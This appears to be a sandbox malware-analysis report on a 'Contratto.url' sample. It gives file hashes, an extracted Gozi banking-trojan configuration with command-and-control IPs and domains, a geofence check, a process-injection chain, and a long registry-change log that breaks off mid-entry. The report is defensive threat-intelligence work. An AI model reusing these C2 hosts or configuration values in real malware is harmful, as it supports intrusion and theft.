Analysis
-
max time kernel
151s -
max time network
155s -
platform
windows10-2004_x64 -
resource
win10v2004-20230915-en -
resource tags
arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system -
submitted
03-10-2023 13:24
Static task
static1
Behavioral task
behavioral1
Sample
Contratto.url
Resource
win7-20230831-en
General
-
Target
Contratto.url
-
Size
192B
-
MD5
aa05bdf7862a64f54d6e281944fb0f51
-
SHA1
60fe537372be17e284f0121f5da307325da6ca92
-
SHA256
e798fb0280fbc91cbb32234af0c55c4c6e16f528f8282057e334c2055ac07d13
-
SHA512
e471d9b97fc022e3a769a936f37590da9e3f32e76fb5934ffea91ef8c1fb39f719330cb5299fbb38272bb5b34aac8e28ab05bc2180478eb1bca839911a87a302
Malware Config
Extracted
gozi
Extracted
gozi
5050
185.247.184.139
62.72.33.155
incontroler.com
-
base_path
/jerry/
-
build
250260
-
exe_type
loader
-
extension
.bob
-
server_id
50
Extracted
gozi
5050
expirew.com
whofos.com
onlinepoints.online
onlinepoints.top
-
base_path
/pictures/
-
build
250260
-
exe_type
worker
-
extension
.bob
-
server_id
50
Signatures
-
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
rundll32.exemshta.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-1045988481-1457812719-2617974652-1000\Control Panel\International\Geo\Nation rundll32.exe Key value queried \REGISTRY\USER\S-1-5-21-1045988481-1457812719-2617974652-1000\Control Panel\International\Geo\Nation mshta.exe -
Suspicious use of SetThreadContext 8 IoCs
Processes:
powershell.exeExplorer.EXEcmd.exedescription pid process target process PID 1144 set thread context of 3212 1144 powershell.exe Explorer.EXE PID 3212 set thread context of 3780 3212 Explorer.EXE RuntimeBroker.exe PID 3212 set thread context of 4072 3212 Explorer.EXE RuntimeBroker.exe PID 3212 set thread context of 4836 3212 Explorer.EXE RuntimeBroker.exe PID 3212 set thread context of 4772 3212 Explorer.EXE RuntimeBroker.exe PID 3212 set thread context of 2384 3212 Explorer.EXE cmd.exe PID 3212 set thread context of 2624 3212 Explorer.EXE cmd.exe PID 2384 set thread context of 3672 2384 cmd.exe PING.EXE -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 1704 2392 WerFault.exe client.exe -
Modifies registry class 64 IoCs
Processes:
RuntimeBroker.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-1045988481-1457812719-2617974652-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1045988481-1457812719-2617974652-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\b05d495d-2b0e-4ac1 RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-1045988481-1457812719-2617974652-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\6d6397d3-5825-416f RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1045988481-1457812719-2617974652-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\3c24a964-fd1b-4638 = "\\\\?\\Volume{6ADB8C10-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\1c39350f5b83d85cf0fa31118982c42db4252426c3c0dc16d6679b0c0ed2bb17" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1045988481-1457812719-2617974652-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\888823db-479b-4e3d RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-1045988481-1457812719-2617974652-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\23cae042-a477-4492 = "8324" RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-1045988481-1457812719-2617974652-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\12e918ca-31d2-4d92 = 1bc5fe47fdf5d901 RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-1045988481-1457812719-2617974652-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\12e918ca-31d2-4d92 = 0114020000000000c0000000000000464c0000000114020000000000c0000000000000468300000020000000fa557c47fdf5d901f3ef9847fdf5d901f3ef9847fdf5d901dae203000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad0132000000000043575c6b2000343366613936663435383933383630366131313738663764663361616333323335383133376261663566333030353462623765336662373365643732663530360000b20009000400efbe43575c6b43575c6b2e0000000000000000000000000000000000000000000000000014859900340033006600610039003600660034003500380039003300380036003000360061003100310037003800660037006400660033006100610063003300320033003500380031003300370062006100660035006600330030003000350034006200620037006500330066006200370033006500640037003200660035003000360000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea0000001800000003000000af7f409c1000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c34336661393666343538393338363036613131373866376466336161633332333538313337626166356633303035346262376533666237336564373266353036000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a0580000000000000064726d76786f7473000000000000000036ba38cd37a1e442a26a037e335ff6a2eee660c79953ee1183fefaa769bfc8e536ba38cd37a1e442a26a037e335ff6a2eee660c79953ee1183fefaa769bfc8e5d2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0031003000340035003900380038003400380031002d0031003400350037003800310032003700310039002d0032003600310037003900370034003600350032002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d000000680000000048000000108cdb6a000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1045988481-1457812719-2617974652-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\c6ccf845-3db8-4f1e RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-1045988481-1457812719-2617974652-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\be82a6ae-9f89-466c = "8324" RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-1045988481-1457812719-2617974652-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\f8565fb7-b766-40f2 = 0114020000000000c0000000000000464c0000000114020000000000c00000000000004683000000200000007a426947fdf5d90127688f47fdf5d90127688f47fdf5d901743806000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad0132000000000043575c6b2000623361353239323930346430313162323262383931316362646663366638343261393966366630383134623733386137323335616433613236396532353861340000b20009000400efbe43575c6b43575c6b2e000000000000000000000000000000000000000000000000007d0ac200620033006100350032003900320039003000340064003000310031006200320032006200380039003100310063006200640066006300360066003800340032006100390039006600360066003000380031003400620037003300380061003700320033003500610064003300610032003600390065003200350038006100340000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea0000001800000003000000af7f409c1000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c62336135323932393034643031316232326238393131636264666336663834326139396636663038313462373338613732333561643361323639653235386134000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a0580000000000000064726d76786f7473000000000000000036ba38cd37a1e442a26a037e335ff6a2f0e660c79953ee1183fefaa769bfc8e536ba38cd37a1e442a26a037e335ff6a2f0e660c79953ee1183fefaa769bfc8e5d2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0031003000340035003900380038003400380031002d0031003400350037003800310032003700310039002d0032003600310037003900370034003600350032002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d000000680000000048000000108cdb6a000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1045988481-1457812719-2617974652-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\888823db-479b-4e3d = "\\\\?\\Volume{6ADB8C10-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\b3a5292904d011b22b8911cbdfc6f842a99f6f0814b738a7235ad3a269e258a4" RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-1045988481-1457812719-2617974652-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\b05d495d-2b0e-4ac1 = "8324" RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-1045988481-1457812719-2617974652-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\b05d495d-2b0e-4ac1 = "0" RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-1045988481-1457812719-2617974652-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\1808812a-e3ea-431a = 7fa1f146fdf5d901 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1045988481-1457812719-2617974652-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\1808812a-e3ea-431a = "\\\\?\\Volume{6ADB8C10-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\9c48d8ef015852b5905a97c1870055d3fa24fe16b9ab57e7f4909593af3e9322" RuntimeBroker.exe Key deleted \REGISTRY\USER\S-1-5-21-1045988481-1457812719-2617974652-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\1808812a-e3ea-431a RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-1045988481-1457812719-2617974652-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\aeb2cd06-e293-4fdd = "0" RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-1045988481-1457812719-2617974652-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\3c24a964-fd1b-4638 = 39605148fdf5d901 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1045988481-1457812719-2617974652-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\3c24a964-fd1b-4638 RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-1045988481-1457812719-2617974652-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\888823db-479b-4e3d = "0" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1045988481-1457812719-2617974652-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\bf28d660-a282-4880 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1045988481-1457812719-2617974652-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\12e918ca-31d2-4d92 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1045988481-1457812719-2617974652-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\12e918ca-31d2-4d92 = "\\\\?\\Volume{6ADB8C10-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\43fa96f458938606a1178f7df3aac32358137baf5f30054bb7e3fb73ed72f506" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1045988481-1457812719-2617974652-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\f8565fb7-b766-40f2 = "\\\\?\\Volume{6ADB8C10-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\b3a5292904d011b22b8911cbdfc6f842a99f6f0814b738a7235ad3a269e258a4" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1045988481-1457812719-2617974652-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\be82a6ae-9f89-466c = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1045988481-1457812719-2617974652-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\aeb2cd06-e293-4fdd = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-1045988481-1457812719-2617974652-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\3c24a964-fd1b-4638 = 0114020000000000c0000000000000464c0000000114020000000000c0000000000000468300000020000000ee695147fdf5d901c18a3148fdf5d901c18a3148fdf5d9011f6703000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad0132000000000043575c6b2000316333393335306635623833643835636630666133313131383938326334326462343235323432366333633064633136643636373962306330656432626231370000b20009000400efbe43575c6b43575c6b2e00000000000000000000000000000000000000000000000000e9be9400310063003300390033003500300066003500620038003300640038003500630066003000660061003300310031003100380039003800320063003400320064006200340032003500320034003200360063003300630030006400630031003600640036003600370039006200300063003000650064003200620062003100370000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea0000001800000003000000af7f409c1000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c31633339333530663562383364383563663066613331313138393832633432646234323532343236633363306463313664363637396230633065643262623137000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a0580000000000000064726d76786f7473000000000000000036ba38cd37a1e442a26a037e335ff6a2f2e660c79953ee1183fefaa769bfc8e536ba38cd37a1e442a26a037e335ff6a2f2e660c79953ee1183fefaa769bfc8e5d2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0031003000340035003900380038003400380031002d0031003400350037003800310032003700310039002d0032003600310037003900370034003600350032002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d000000680000000048000000108cdb6a000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1045988481-1457812719-2617974652-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\bf28d660-a282-4880 = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-1045988481-1457812719-2617974652-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\bf28d660-a282-4880 = "8324" RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-1045988481-1457812719-2617974652-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\bf28d660-a282-4880 = "0" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1045988481-1457812719-2617974652-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\b05d495d-2b0e-4ac1 = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-1045988481-1457812719-2617974652-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\be82a6ae-9f89-466c = 620bfc46fdf5d901 RuntimeBroker.exe Key deleted \REGISTRY\USER\S-1-5-21-1045988481-1457812719-2617974652-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\bf28d660-a282-4880 RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-1045988481-1457812719-2617974652-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\1808812a-e3ea-431a = "8324" RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-1045988481-1457812719-2617974652-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\c6ccf845-3db8-4f1e = "0" RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-1045988481-1457812719-2617974652-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\12e918ca-31d2-4d92 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1045988481-1457812719-2617974652-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\f8565fb7-b766-40f2 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1045988481-1457812719-2617974652-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\f8565fb7-b766-40f2 = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-1045988481-1457812719-2617974652-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\23cae042-a477-4492 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1045988481-1457812719-2617974652-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\23cae042-a477-4492 = "\\\\?\\Volume{6ADB8C10-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\ffd5710fd5bff1cd638b7557a0f0b169446159bb972f75fe422e6eb3a2b043be" RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-1045988481-1457812719-2617974652-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\6d6397d3-5825-416f = "8324" RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-1045988481-1457812719-2617974652-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-1045988481-1457812719-2617974652-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\b05d495d-2b0e-4ac1 = 2ab3e946fdf5d901 RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-1045988481-1457812719-2617974652-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\1808812a-e3ea-431a RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1045988481-1457812719-2617974652-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\c6ccf845-3db8-4f1e = "\\\\?\\Volume{6ADB8C10-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\43fa96f458938606a1178f7df3aac32358137baf5f30054bb7e3fb73ed72f506" RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-1045988481-1457812719-2617974652-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\c6ccf845-3db8-4f1e = 